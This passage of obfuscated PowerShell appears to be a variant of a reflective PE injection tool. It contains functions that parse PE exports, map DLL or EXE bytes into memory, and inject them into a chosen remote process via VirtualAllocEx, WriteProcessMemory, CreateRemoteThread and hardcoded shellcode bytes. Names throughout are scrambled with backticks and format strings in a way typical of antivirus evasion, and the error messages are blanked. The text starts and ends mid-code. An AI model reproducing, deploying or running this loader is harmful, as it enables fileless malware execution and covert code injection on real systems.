${WIN32`Ty`PeS} -Win32Constants ${wIN`32`COn`STANtS} if (${p`einfO}."Ima`ge_Nt_H`e`AdErs"."O`Pt`ioNALH`EaDEr"."e`XPoRtt`ABle"."s`Ize" -eq 0) { return [IntPtr]::"zE`Ro" } ${exPOrTTa`BLep`TR} = &("{0}{3}{2}{4}{1}" -f'Add-Sig','d','sUnsig','nedIntA','ne') (${p`e`HAnDLE}) (${p`EI`NfO}."ImAGE_`N`T_`h`eadErS"."optiOna`L`hEaD`Er"."EXP`orTT`A`BLe"."VI`RTuAlA`d`drEss") ${ExP`o`R`TTable} = [System.Runtime.InteropServices.Marshal]::"ptR`TO`Str`UcTUrE"(${E`xp`ORTTa`BlE`ptR}, [Type]${wi`N32`Typ`ES}."i`mage`_`eXPoRT`_`DiRECTORy") for (${I} = 0; ${i} -lt ${eX`P`oRT`TAbLe}."numb`eR`oFn`AmES"; ${I}++) { ${nameOf`F`setPtR} = &("{2}{1}{5}{0}{3}{4}" -f 'AsUnsi','edIn','Add-Sign','gn','ed','t') (${P`eHA`Ndle}) (${eX`PorTTA`BLE}."adD`Re`ss`ofN`AMes" + (${i} * [System.Runtime.InteropServices.Marshal]::"Si`zEOF"([Type][UInt32]))) ${nA`m`EpTr} = &("{1}{6}{5}{0}{3}{2}{4}"-f 'ign','Ad','n','edI','tAsUnsigned','-S','d') (${P`eha`N`DlE}) ([System.Runtime.InteropServices.Marshal]::"P`TRto`STR`UcTUre"(${NA`meOffS`e`T`PtR}, [Type][UInt32])) ${Na`me} = [System.Runtime.InteropServices.Marshal]::"ptRT`oStr`iN`GA`NSi"(${nAMe`p`Tr}) if (${N`Ame} -ceq ${FuN`ct`IO`NnAmE}) { ${orDi`N`AlPTr} = &("{1}{0}{2}{4}{3}"-f '-Si','Add','gnedIn','d','tAsUnsigne') (${p`eh`AndLe}) (${eXPo`Rt`TA`BLE}."Ad`drESs`oFN`AmeOr`DIn`A`ls" + (${i} * [System.Runtime.InteropServices.Marshal]::"sIZ`eof"([Type][UInt16]))) ${fuNc`inD`EX} = [System.Runtime.InteropServices.Marshal]::"PT`R`TO`S`TRuCtURe"(${o`Rdi`NA`lPTR}, [Type][UInt16]) ${FU`NcOF`FSeTA`dDr} = &("{0}{5}{2}{1}{3}{4}"-f 'A','IntAsU','igned','nsign','ed','dd-S') (${Pe`HAN`DLE}) (${e`xp`orTt`ABlE}."AddrE`SsOffUn`Ctio`NS" + (${fUnC`i`N`deX} * [System.Runtime.InteropServices.Marshal]::"s`IZ`eOf"([Type][UInt32]))) ${Fu`NcoF`FSeT} = [System.Runtime.InteropServices.Marshal]::"pTrTosTR`U`c`Tu`RE"(${funC`Of`F`sETa`dDr}, [Type][UInt32]) return &("{2}{1}{3}{0}"-f'signed','ign','Add-S','edIntAsUn') (${Pe`H`AnDLe}) (${fuN`C`oFF`seT}) } } return [IntPtr]::"z`erO" } Function INV`OKE`-MEMOrYL`oaDli`BRArY { Param( [Parameter( poSiTiON = 0, mAnDAToRy = ${t`RUE} )] [Byte[]] ${p`ebYT`es}, [Parameter(PoSITIon = 1, MANdATorY = ${fal`sE})] [String] ${EXe`A`RGS}, [Parameter(positioN = 2, mAnDaToRY = ${f`A`LsE})] [IntPtr] ${rEmoTEPrO`c`H`AnDle}, [Parameter(PoSItIon = 3)] [Bool] ${forCe`A`SlR} = ${F`A`lSe} ) ${P`TR`SIze} = [System.Runtime.InteropServices.Marshal]::"sIZe`OF"([Type][IntPtr]) ${wI`N3`2CO`NsTAn`TS} = &("{2}{1}{3}{0}{5}{4}" -f 'ta','n','Get-Wi','32Cons','ts','n') ${W`in3`2`FUNctIons} = &("{1}{3}{4}{2}{0}"-f 'ions','Get-Win3','t','2','Func') ${WiN3`2ty`peS} = &("{3}{1}{2}{0}"-f'pes','-Win','32Ty','Get') ${R`emoTEloa`DiNG} = ${fA`Lse} if ((${REmOt`ePROC`h`An`d`le} -ne ${n`ULL}) -and (${REmOt`ePRo`ch`AnD`lE} -ne [IntPtr]::"z`eRO")) { ${R`eMOTeloA`d`ing} = ${t`RUE} } &("{2}{0}{1}"-f'e-Verbos','e','Writ') "" ${P`eiNFO} = &("{1}{0}{2}{3}"-f'e','G','t-PEBasicInf','o') -PEBytes ${pEb`yt`ES} -Win32Types ${wi`N3`2TYpEs} ${oRi`gINA`liMA`gE`B`Ase} = ${P`EIn`Fo}."orI`giN`ALiM`A`GebAse" ${NxCom`patI`Ble} = ${Tr`UE} if (([Int] ${pEi`N`FO}."D`LlCHaraC`T`erI`sTICs" -band ${wI`N32cOns`TaN`TS}."iM`AgE_`d`LlC`hArACTERIsTics_nx`_`c`oMPat") -ne ${w`IN32c`OnsT`ANTS}."IMaGe_d`LlchA`RAC`TE`RI`stics_NX`_cOm`paT") { &("{1}{2}{0}{3}"-f 'rni','Write-W','a','ng') "....." -WarningAction ("{0}{2}{1}" -f'C','nue','onti') ${n`Xcomp`ATib`le} = ${fal`SE} } ${p`RoCeSS`64biT} = ${tR`UE} if (${r`EMoTe`LOAD`I`Ng} -eq ${t`RUE}) { ${kEr`Ne`L32HAnDlE} = ${w`IN32f`U`NCTionS}."gETmODulE`HA`N`dLe"."In`VOkE"("kernel32.dll") ${rEs`ULT} = ${wi`N32F`U`NCTions}."GeT`p`ROcadD`ReSs"."I`Nv`oKE"(${Ke`RNeL32`HA`NDLE}, "IsWow64Process") if (${re`S`UlT} -eq [IntPtr]::"zE`Ro") { Throw "" } [Bool]${WOw`64PRO`ce`Ss} = ${F`ALse} ${suC`Ce`ss} = ${wIn32f`UNCt`IonS}."IswO`w64p`RO`CEsS"."IN`VoKE"(${rEmo`TEpR`o`cHANDLe}, [Ref]${wow64pRo`C`Ess}) if (${S`Uc`cESS} -eq ${FA`LSE}) { Throw "" } if ((${WoW6`4pR`OCESs} -eq ${tr`Ue}) -or ((${woW`64PRoc`e`sS} -eq ${FaL`sE}) -and ([System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type][IntPtr]) -eq 4))) { ${ProcEs`S`6`4B`iT} = ${F`AlSE} } ${PowER`Sh`e`lL`64BIt} = ${T`Rue} if ([System.Runtime.InteropServices.Marshal]::"S`iZEof"([Type][IntPtr]) -ne 8) { ${POw`eRSHEl`L`64Bit} = ${fa`L`SE} } if (${powERSHell`64`B`it} -ne ${P`Roc`esS64`BiT}) { throw "" } } else { if ([System.Runtime.InteropServices.Marshal]::"S`iZe`OF"([Type][IntPtr]) -ne 8) { ${Pr`OCEss64`BIt} = ${Fa`LSE} } } if (${pRo`C`E`sS64B`it} -ne ${P`eIn`FO}."PE6`4B`it") { Throw "" } &("{0}{3}{1}{2}" -f'Wri','Verbo','se','te-') "" [IntPtr]${lo`AdAD`Dr} = [IntPtr]::"ZE`RO" ${P`eSuPpo`R`TsAs`Lr} = ([Int] ${pe`I`NfO}."dllc`H`ARaC`T`erI`sTICS" -band ${w`in3`2coNsT`An`TS}."i`MAG`E`_DLlCH`AR`AcTERI`sT`ICS_dy`NaMic`_`BASe") -eq ${wI`N32coN`St`ANTS}."iMA`ge_dllCHAract`ERISTiCs`_d`YnAMI`c_ba`sE" if ((-not ${fO`RCeAs`LR}) -and (-not ${p`ESUpP`orT`SASlr})) { &("{1}{4}{2}{3}{0}" -f'g','Wr','e-Warn','in','it') "" -WarningAction ("{2}{1}{0}"-f'tinue','on','C') [IntPtr]${L`oaDA`DDr} = ${or`i`g`in`ALImagebaSE} } elseif (${f`or`CEas`lr} -and (-not ${PE`sup`PORTs`AsLr})) { &("{0}{1}{2}{3}" -f 'W','rit','e-Verbos','e') "" } if (${fo`RCe`ASlR} -and ${Re`moTe`LO`ADi`Ng}) { &("{0}{1}{2}"-f 'W','ri','te-Error') "" -ErrorAction ("{1}{0}" -f'p','Sto') } if (${rEmO`Te`LoAD`Ing} -and (-not ${P`es`U`ppoRTS`ASLR})) { &("{1}{2}{0}{3}" -f 'e-E','Wri','t','rror') "" -ErrorAction ("{0}{1}" -f'S','top') } ${PEhAn`dlE} = [IntPtr]::"Ze`RO" ${e`Ff`eCtIvep`EHANDlE} = [IntPtr]::"Ze`Ro" if (${rem`o`TeL`O`ADINg} -eq ${t`RUe}) { ${pE`Han`dLE} = ${wIn32`F`UnC`Tions}."vi`RTuAla`LLOC"."I`NvoKe"([IntPtr]::"ze`Ro", [UIntPtr]${p`EInFO}."SiZ`Eof`ImAgE", ${W`In32c`O`NSTANts}."M`Em`_C`omMiT" -bor ${Wi`N32cO`Ns`Tan`TS}."me`M`_REsERvE", ${wIN32ConS`T`A`Nts}."P`Age`_REA`DwRitE") ${EfF`Ecti`V`Ep`eH`AnDLe} = ${WI`N32`Functions}."V`ir`TuAla`LloCeX"."iN`VOke"(${RemOTe`P`ROChAN`D`lE}, ${loadAd`dr}, [UIntPtr]${pE`i`NFo}."SIZEO`F`ImAgE", ${wi`N`3`2COnSTAN`TS}."MeM_C`OM`MIt" -bor ${WI`N32co`NSt`A`NTs}."Mem_`Reser`VE", ${win32C`oNST`A`Nts}."PAGe_EXe`Cu`Te`_ReaDWr`iTe") if (${E`Ffecti`V`ePeh`AnDlE} -eq [IntPtr]::"Z`eRO") { Throw "" } } else { if (${nxc`OMP`AtiB`Le} -eq ${t`RUe}) { ${pEh`And`Le} = ${w`i`N32FUNCTIo`Ns}."ViR`Tu`ALal`loC"."I`NvOKE"(${loa`D`A`ddR}, [UIntPtr]${pei`N`Fo}."sIZEO`F`imA`ge", ${WiN`32Co`NSTAnTs}."mEm_c`O`mMiT" -bor ${wIN`32cONST`AN`Ts}."M`eM_R`ESE`RVE", ${w`iN32CO`NsT`ANts}."PaGe_`R`eAdwrite") } else { ${pEHA`N`dle} = ${win3`2fUNctIO`NS}."Virt`UAlaL`Loc"."IN`VOke"(${L`OaDa`ddr}, [UIntPtr]${P`e`Info}."s`iZeoFI`Mage", ${wiN32C`on`st`A`Nts}."M`em_cOm`MIt" -bor ${wI`N`32coNStANtS}."ME`m_`REs`ERVe", ${WiN32C`ONsT`A`Nts}."Pa`g`E_E`Xec`UtE_REAd`w`RitE") } ${EfFecTIVE`PeHAN`D`LE} = ${Pe`h`AnDle} } [IntPtr]${P`eendaDdrE`ss} = &("{1}{3}{2}{0}" -f'ned','Add','sig','-SignedIntAsUn') (${peh`An`dLe}) ([Int64]${pe`i`NFo}."S`iZ`EOfI`mAgE") if (${peH`An`dlE} -eq [IntPtr]::"Ze`Ro") { Throw "" } [System.Runtime.InteropServices.Marshal]::"CO`PY"(${P`Eby`Tes}, 0, ${peH`AN`dle}, ${pei`NFo}."siZe`OfH`ead`ErS") | &("{0}{1}{2}"-f'Out-Nu','l','l') &("{0}{1}{2}" -f 'Wri','te','-Verbose') "" ${peiN`Fo} = &("{1}{3}{2}{0}"-f 'fo','Get-PEDeta','dIn','ile') -PEHandle ${pE`HA`N`DLE} -Win32Types ${Win32`TY`pEs} -Win32Constants ${Win`3`2c`oNStANTs} ${p`EiN`Fo} | &("{0}{2}{1}" -f 'Add-','ber','Mem') -MemberType ("{1}{2}{0}"-f 'ty','Not','eProper') -Name ("{1}{2}{0}"-f'ddress','E','ndA') -Value ${peen`Da`DdreSs} ${pEI`N`FO} | &("{2}{0}{1}"-f'd-','Member','Ad') -MemberType ("{2}{0}{3}{1}" -f 'roper','y','NoteP','t') -Name ("{5}{3}{4}{0}{1}{2}" -f'PE','H','andle','fec','tive','Ef') -Value ${ef`FEc`TiVEp`eHandlE} &("{1}{0}{2}{3}"-f 'te-Ve','Wri','r','bose') "" &("{4}{3}{1}{0}{2}"-f 'os','te-Verb','e','ri','W') "" &("{2}{1}{3}{0}" -f'tions','S','Copy-','ec') -PEBytes ${pEB`YteS} -PEInfo ${pe`InfO} -Win32Functions ${W`IN`3`2funCtiOnS} -Win32Types ${w`In3`2`TYpes} &("{1}{0}{3}{2}"-f'ite-V','Wr','se','erbo') "" &("{3}{0}{4}{2}{1}"-f'ate-MemoryA','es','ss','Upd','ddre') -PEInfo ${pEi`Nfo} -OriginalImageBase ${ORIGi`NaLim`AGE`BAsE} -Win32Constants ${wi`N3`2C`oNSTA`NtS} -Win32Types ${w`in32`TY`pes} &("{1}{3}{2}{0}" -f 'erbose','W','V','rite-') "" if (${REMoTEl`Oa`d`I`NG} -eq ${tR`UE}) { &("{3}{0}{2}{4}{1}"-f 'mp','mports','ort-Dl','I','lI') -PEInfo ${pE`In`Fo} -Win32Functions ${W`i`N32fUn`CtioNs} -Win32Types ${w`in`32TY`PEs} -Win32Constants ${W`in3`2cOnstA`NtS} -RemoteProcHandle ${RE`MOT`Ep`RochaN`DlE} } else { &("{2}{5}{3}{0}{4}{1}"-f'p','ts','Import-Dl','Im','or','l') -PEInfo ${PeI`N`Fo} -Win32Functions ${W`IN32fUNCT`i`oNS} -Win32Types ${win32`T`ypeS} -Win32Constants ${Wi`N`32`C`OnStanTS} } if (${rEmOt`El`o`ADinG} -eq ${Fal`se}) { if (${nXCO`mp`ATI`BlE} -eq ${Tr`Ue}) { &("{1}{0}{3}{2}"-f 'e','Write-V','se','rbo') "" &("{4}{1}{2}{0}{3}" -f'emoryProtect','date-','M','ionFlags','Up') -PEInfo ${PE`i`NFo} -Win32Functions ${w`In`32FunctionS} -Win32Constants ${Win`32C`oNstAnTs} -Win32Types ${wi`N`32TYP`Es} } else { &("{3}{2}{1}{0}"-f'se','rbo','rite-Ve','W') "" } } else { &("{0}{1}{2}"-f'Write','-Verb','ose') "" } if (${remO`TEloAdI`NG} -eq ${Tr`UE}) { [UInt32]${N`U`Mby`TESwri`Tten} = 0 ${suC`cE`Ss} = ${WIn3`2`F`U`NCtiONS}."wr`ITe`proceSSm`EmORY"."i`NVOKe"(${ReMoTep`ROC`H`ANDlE}, ${E`FF`eC`TIVEpEHAN`d`le}, ${p`eHANdle}, [UIntPtr](${P`EIN`Fo}."sIZe`oFI`magE"), [Ref]${n`UMby`T`EsWrI`TtEn}) if (${SUCc`e`sS} -eq ${fal`se}) { Throw "" } } if (${PEi`NFo}."file`T`YPE" -ieq "DLL") { if (${ReMo`Te`L`OadiNG} -eq ${FA`LSE}) { &("{0}{1}{2}" -f 'Writ','e-','Verbose') "" ${dLlMa`In`ptr} = &("{1}{3}{6}{0}{5}{2}{4}" -f 't','Add','sU','-','nsigned','A','SignedIn') (${PeIN`FO}."PeH`ANdlE") (${PE`I`NFo}."I`mage_Nt`_hE`AD`ers"."Opt`ioNa`l`hea`DeR"."Add`ResSOFEN`Tr`Y`PO`inT") ${Dll`M`AinD`elE`GATe} = &("{2}{0}{1}{3}{4}" -f'-','De','Get','le','gateType') @([IntPtr], [UInt32], [IntPtr]) ([Bool]) ${d`LLMA`In} = [System.Runtime.InteropServices.Marshal]::"G`e`TDe`leGaT`EFoR`FUN`c`TioNp`oINTER"(${d`LlMAInp`TR}, ${d`l`Lm`AI`NDElegAte}) ${dL`LmaIn}."INV`oKE"(${p`eIn`Fo}."pehA`NdlE", 1, [IntPtr]::"zE`Ro") | &("{2}{0}{1}" -f 'ut-','Null','O') } else { ${Dllm`A`iN`pTR} = &("{4}{6}{1}{3}{0}{5}{2}"-f 'AsU','igne','gned','dInt','Add','nsi','-S') (${eF`FeCTiVe`P`Eh`An`dLe}) (${Pe`IN`Fo}."imaGe`_nT`_heAD`eRS"."oPtIon`Al`head`Er"."AdDRE`ssO`FE`NtRy`poinT") if (${P`EinFo}."pE`64bIt" -eq ${t`RUe}) { ${Cal`l`DllMAi`N`sc1} = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) ${CAL`L`dLlMA`InSC2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) ${CALl`D`LLmaiNs`C3} = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { ${CALLD`lL`maIns`C1} = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) ${c`ALLDllmai`NS`c2} = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) ${calldL`lMa`i`NsC3} = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } ${sc`lE`NGtH} = ${C`Al`LdLlm`AInS`c1}."Le`Ng`Th" + ${ca`LLdlL`maIn`sC2}."L`e`NGtH" + ${c`A`llDLL`mAInSc3}."leNg`Th" + (${pTrS`i`ze} * 2) ${s`CPSmem} = [System.Runtime.InteropServices.Marshal]::"aLLocHgl`ob`AL"(${sCle`N`gtH}) ${sCpsMe`mo`RI`GiN`AL} = ${SC`PsMEm} &("{0}{5}{2}{3}{4}{1}" -f'Writ','y','-By','te','sToMemor','e') -Bytes ${c`A`LLdLlM`AiNsC1} -MemoryAddress ${scp`s`mem} ${sC`pSM`eM} = &("{3}{6}{5}{4}{0}{1}{2}"-f 'g','n','ed','A','i','IntAsUns','dd-Signed') ${SCps`MEm} (${CaL`LDllmA`INsC1}."len`gTh") [System.Runtime.InteropServices.Marshal]::"st`RU`CtuREtop`TR"(${EffECT`IVep`EHA`N`dLE}, ${s`CPSM`Em}, ${F`Alse}) ${sCps`mEm} = &("{0}{3}{5}{4}{1}{2}"-f'Add-','s','igned','Si','Un','gnedIntAs') ${sC`psMem} (${P`TR`sizE}) &("{1}{0}{2}{3}" -f'B','Write-','ytesT','oMemory') -Bytes ${cAlL`DllmA`I`NSC2} -MemoryAddress ${SC`P`smEM} ${scPSm`Em} = &("{4}{0}{2}{1}{3}{5}" -f'dIntA','si','sUn','gn','Add-Signe','ed') ${s`c`psmem} (${c`AL`l`dLlMAinsC2}."Len`gTH") [System.Runtime.InteropServices.Marshal]::"stRUcT`URe`TOPtR"(${DlLmAI`N`ptR}, ${S`cP`sMEm}, ${fA`l`sE}) ${SC`PsMEM} = &("{3}{4}{0}{5}{1}{2}" -f 'n','ig','ned','Add-SignedI','ntAsU','s') ${sCP`sM`EM} (${Pt`R`size}) &("{1}{4}{5}{2}{6}{3}{0}"-f'emory','W','ytesT','M','ri','te-B','o') -Bytes ${caL`L`dlLMaIn`Sc3} -MemoryAddress ${sCpsM`EM} ${SC`pSMeM} = &("{4}{2}{0}{1}{3}"-f'ignedIntA','sUnsig','-S','ned','Add') ${SC`pS`MeM} (${cAL`Ldl`lM`A`InSc3}."lEN`G`Th") ${R`scad`DR} = ${win`32fUNc`Tions}."VI`RTUAlaLl`o`CEx"."I`NV`OKe"(${RemOT`ePROc`han`Dle}, [IntPtr]::"Ze`RO", [UIntPtr][UInt64]${S`CLEn`Gth}, ${Win32`CoNST`A`Nts}."mEM_C`OM`MiT" -bor ${w`In`3`2CONStANTS}."M`em_rES`erVe", ${wiN`32COn`STA`Nts}."PAGE_`ex`Ec`Ute_rEADWRI`Te") if (${R`sCAD`DR} -eq [IntPtr]::"Z`eRO") { Throw "" } ${S`UcCess} = ${wI`N`32`FUnC`TionS}."WRit`Ep`R`OCE`SSMEmorY"."INVO`Ke"(${rem`o`TePr`Oc`hAN`Dle}, ${RSc`A`dDR}, ${S`CpsMe`MORiGIN`Al}, [UIntPtr][UInt64]${scL`e`Ng`TH}, [Ref]${nuMbyT`EswRI`T`Ten}) if ((${SUcc`e`ss} -eq ${FAl`sE}) -or ([UInt64]${nUm`B`Y`TeswrIT`TEN} -ne [UInt64]${S`c`lEngTH})) { Throw "" } ${R`T`H`R`EaDHaNDLe} = &("{0}{3}{2}{4}{1}"-f'C','hread','ote','reate-Rem','T') -ProcessHandle ${rEMOTE`prO`c`H`AndLE} -StartAddress ${Rs`cAdDR} -Win32Functions ${WiN3`2f`U`NCT`IoNs} ${Re`S`Ult} = ${wI`N32F`UNct`IO`NS}."w`AItfoRsInG`Le`Ob`ject"."INVO`KE"(${R`T`HRE`AdhanDle}, 20000) if (${Re`SULT} -ne 0) { Throw "" } ${Win3`2`FU`NCTio`Ns}."v`irtualFr`EEEx"."iN`VOkE"(${rE`MoT`eproCha`ND`LE}, ${RsC`AD`Dr}, [UIntPtr][UInt64]0, ${WIn`3`2CoN`StA`NTS}."mEM`_`REleAse") | &("{2}{0}{1}" -f'l','l','Out-Nu') } } elseif (${pE`iNfo}."F`ilE`TYpE" -ieq "EXE") { [IntPtr]${e`xED`onEB`y`TEptR} = [System.Runtime.InteropServices.Marshal]::"a`L`lOCHG`loBAl"(1) [System.Runtime.InteropServices.Marshal]::"W`Ri`TeBytE"(${ExeDOnEBy`T`EP`TR}, 0, 0x00) ${OverWRItTen`ME`m`iNfO} = &("{3}{2}{0}{1}{4}" -f 'E','xeFu','te-','Upda','nctions') -PEInfo ${p`eiN`FO} -Win32Functions ${WIN3`2fu`N`CT`Ions} -Win32Constants ${win3`2`coN`sT`AnTs} -ExeArguments ${EX`EA`RGS} -ExeDoneBytePtr ${eXeDO`N`ebYT`EpTr} [IntPtr]${eXe`mA`i`NPtR} = &("{1}{3}{2}{0}{4}"-f's','Add-S','edIntAsUn','ign','igned') (${P`E`iNFO}."pehaNd`le") (${p`EIN`Fo}."ImAg`E`_NT_`h`eAdeRs"."OptI`o`NALHEAD`er"."aDd`RessOF`en`Tr`Y`POINT") &("{1}{2}{0}{3}" -f'e-Verbos','W','rit','e') "" ${w`in3`2f`UNctiONs}."crEATET`hR`EAd"."IN`V`OKe"([IntPtr]::"z`erO", [IntPtr]::"Ze`RO", ${EXe`MA`in`PtR}, [IntPtr]::"Z`ero", ([UInt32]0), [Ref]([UInt32]0)) | &("{1}{2}{0}"-f 'ull','O','ut-N') while(${TR`UE}) { [Byte]${t`HreADdO`NE} = [System.Runtime.InteropServices.Marshal]::"rEAdB`y`TE"(${EXEdO`NEB`ytEpTR}, 0) if (${thRE`AD`dONE} -eq 1) { &("{3}{4}{0}{1}{2}" -f'Mem','Addresse','s','Copy-Arr','ayOf') -CopyInfo ${O`VERwRiT`Te`NMeM`i`Nfo} -Win32Functions ${w`iN32`FUNCTi`o`NS} -Win32Constants ${W`In32cONS`TAnTs} &("{1}{2}{0}"-f'Verbose','Wri','te-') "" break } else { &("{0}{1}{2}" -f'Start-','S','leep') -Seconds 1 } } } return @(${P`e`InfO}."peH`ANdLe", ${e`F`FEctiVePE`hAN`dLE}) } Function iNvokE`-Me`MoryF`Re`eli`BrARy { Param( [Parameter(pOSition=0, MAnDATOry=${T`RUe})] [IntPtr] ${pE`hAn`DLE} ) ${Wi`N`32Co`N`sTAnTS} = &("{2}{1}{4}{5}{3}{0}"-f 'Constants','e','G','2','t','-Win3') ${wIN`32`F`UnCtiOns} = &("{2}{3}{0}{1}"-f'unc','tions','Get-','Win32F') ${wi`N3`2typeS} = &("{0}{1}{2}{3}{4}" -f'G','e','t-','Win32Type','s') ${PE`Info} = &("{2}{1}{0}{3}" -f 'tailedInf','-PEDe','Get','o') -PEHandle ${PeHAnD`lE} -Win32Types ${wiN32TY`P`Es} -Win32Constants ${W`iN`32CO`NS`TANTS} if (${P`eInfO}."iMa`gE_`Nt_HE`AdErS"."o`PtiO`NaL`HEaDer"."IMp`oR`TtaBle"."s`Ize" -gt 0) { [IntPtr]${IM`pOrt`DEscRIpToR`p`Tr} = &("{1}{2}{0}{3}{5}{4}" -f 'dIntA','A','dd-Signe','s','ed','Unsign') ([Int64]${pe`in`Fo}."pEhAnd`Le") ([Int64]${pei`N`FO}."im`AGe_n`T_HeAd`E`RS"."OPti`ON`AlHeA`D`er"."ImpoRt`TAB`Le"."VIRTUaLADdR`e`ss") while (${tr`Ue}) { ${i`m`Portde`Scri`ptOr} = [System.Runtime.InteropServices.Marshal]::"pT`RtosT`R`UcTUrE"(${iMPoRTDE`SCr`ipt`or`p`TR}, [Type]${W`in3`2Ty`PEs}."iM`A`GE_iMpoRt_desCR`IPT`Or") if (${i`mpOrt`DE`SCripT`OR}."c`haRAcT`eRI`S`TicS" -eq 0 ` -and ${iM`PO`R`TdeSC`RIPToR}."f`IR`Stt`HUNk" -eq 0 ` -and ${Im`PortD`esC`RiP`T`oR}."foRWarDERch`A`IN" -eq 0 ` -and ${I`mp`ortDE`scrIP`TOr}."nA`Me" -eq 0 ` -and ${im`pO`R`TdesC`R`IptOR}."TI`MEd`ATeS`T`AmP" -eq 0) { &("{0}{1}{2}" -f'W','rit','e-Verbose') "" break } ${Im`P`oRTDLL`PA`TH} = [System.Runtime.InteropServices.Marshal]::"pT`RtOStr`I`Nga`NSI"((&("{3}{1}{2}{4}{0}"-f'd','d-Si','gned','Ad','IntAsUnsigne') ([Int64]${P`eINfo}."PehA`NdLe") ([Int64]${iMP`ORTd`ESC`RiPt`OR}."N`AME"))) ${I`Mp`oRtdLlh`AndLE} = ${WI`N3`2Fu`Nc`TIoNS}."ge`T`m`ODulehanD`LE"."IN`VOKE"(${ImP`OrTDll`Pa`Th}) if (${im`pOrTdl`lh`An`Dle} -eq ${nu`Ll}) { &("{1}{0}{2}" -f'rite-W','W','arning') "" -WarningAction ("{0}{1}{2}"-f 'Cont','i','nue') } ${sU`C`ceSS} = ${w`In`32FUN`CTions}."f`Re`ElIbrary"."iN`Vo`ke"(${ImPor`TdLLha`N`dlE}) if (${sUCcE`ss} -eq ${f`AL`se}) { &("{0}{3}{2}{1}" -f'Write','g','in','-Warn') "" -WarningAction ("{2}{0}{1}"-f'tin','ue','Con') } ${Im`PORtDEsc`RIPT`Or`Ptr} = &("{1}{0}{3}{2}" -f'-SignedIntA','Add','gned','sUnsi') (${iMpOrTD`eScRIPT`O`Rptr}) ([System.Runtime.InteropServices.Marshal]::"SiZe`Of"([Type]${Win32T`yP`ES}."i`mAge_iM`poRt`_deS`criPtOR")) } } &("{3}{1}{2}{0}" -f'erbose','r','ite-V','W') "" ${dlLMAIN`p`Tr} = &("{5}{6}{0}{2}{1}{4}{3}" -f'nedIn','sUnsi','tA','ed','gn','Add-S','ig') (${Pe`INfo}."pEhan`dlE") (${pe`iN`Fo}."i`mAGE_N`T`_HEadE`Rs"."OPTiOn`AL`He`ADer"."a`ddRe`S`S`ofenTryPo`inT") ${dlL`MaIND`eleGaTE} = &("{3}{2}{1}{0}"-f'eType','gat','Dele','Get-') @([IntPtr], [UInt32], [IntPtr]) ([Bool]) ${dLlM`A`in} = [System.Runtime.InteropServices.Marshal]::"GET`DEl`eG`AT`e`Fo`Rfu`Ncti`ONPOintEr"(${d`lLm`Ai`NPtr}, ${dllmA`iN`DeL`eGa`TE}) ${dLL`ma`IN}."iNv`OKE"(${Pe`I`NFo}."Pehan`dLE", 0, [IntPtr]::"zE`Ro") | &("{1}{2}{0}"-f'll','O','ut-Nu') ${S`Uc`CESS} = ${W`iN32F`U`NctiO`Ns}."VI`RT`UAl`FRee"."in`VO`kE"(${pE`Ha`NdLe}, [UInt64]0, ${w`iN3`2cOn`sTA`NtS}."Mem_R`ELE`ASE") if (${sUC`c`Ess} -eq ${FaL`se}) { &("{1}{3}{2}{0}"-f'ng','Writ','rni','e-Wa') "" -WarningAction ("{1}{0}"-f 'nue','Conti') } } Function m`AIn { ${WI`N32FU`N`CTIonS} = &("{0}{2}{4}{3}{1}"-f 'Ge','unctions','t','2F','-Win3') ${WI`N32tyP`Es} = &("{2}{3}{1}{0}" -f's','32Type','Get-Wi','n') ${Wi`N32C`onStA`NTS} = &("{0}{2}{3}{1}" -f'Get-','ts','Wi','n32Constan') ${remoTe`pRO`c`HA`ND`lE} = [IntPtr]::"z`eRo" if ((${P`RO`ciD} -ne ${NU`lL}) -and (${Pr`ocID} -ne 0) -and (${pROCN`A`me} -ne ${Nu`LL}) -and (${Pr`OCna`ME} -ne "")) { Throw "" } elseif (${pr`ocna`me} -ne ${N`ULL} -and ${pr`Ocna`me} -ne "") { ${p`ROCESS`ES} = @(&("{0}{2}{1}" -f'Get','ss','-Proce') -Name ${P`Ro`cNAME} -ErrorAction ("{1}{3}{2}{0}" -f'ntinue','Sil','Co','ently')) if (${p`ROc`e`sSEs}."COu`Nt" -eq 0) { Throw "" } elseif (${P`R`OCESs`Es}."COu`NT" -gt 1) { ${p`RoC`I`Nfo} = &("{3}{2}{0}{1}"-f'Pr','ocess','-','Get') | &("{1}{0}"-f 'ere','wh') { ${_}."N`AMe" -eq ${prOC`Na`me} } | &("{1}{0}{4}{3}{2}"-f 'ec','Sel','ct','Obje','t-') ("{0}{2}{1}" -f'Proces','Name','s'), ('Id'), ("{0}{2}{1}" -f'Sess','onId','i') &("{2}{1}{0}"-f't','tpu','Write-Ou') ${Pr`oci`NfO} Throw "" } else { ${PR`ocID} = ${p`RoCE`s`SEs}[0]."iD" } } if ((${pr`oC`Id} -ne ${n`Ull}) -and (${P`Ro`cId} -ne 0)) { ${reMOtEp`RO`C`hANd`lE} = ${wiN32Fun`c`Tio`Ns}."oPEN`pR`oc`eSS"."i`NVoKe"(0x001F0FFF, ${f`ALSE}, ${PR`Oc`id}) if (${ReMO`T`epr`OcHANdLE} -eq [IntPtr]::"Z`ERo") { Throw "" } &("{2}{1}{0}{3}" -f'bo','rite-Ver','W','se') "" } &("{2}{0}{3}{1}" -f'erb','se','Write-V','o') "" ${peHa`N`dlE} = [IntPtr]::"zE`RO" if (${remO`TE`proc`HAN`DLe} -eq [IntPtr]::"Z`eRo") { ${pe`LOAD`EDI`NFo} = &("{3}{2}{4}{0}{5}{6}{1}" -f 'oad','y','ke-Memor','Invo','yL','Li','brar') -PEBytes ${PE`BYT`Es} -ExeArgs ${EX`ea`Rgs} -ForceASLR ${FO`R`CE`ASLr} } else { ${p`ELOaDeDin`Fo} = &("{0}{5}{1}{6}{7}{2}{3}{4}" -f'Invok','yLo','Libr','a','ry','e-Memor','a','d') -PEBytes ${PeB`YteS} -ExeArgs ${EXEA`R`GS} -RemoteProcHandle ${RE`mO`TepROChAN`D`lE} 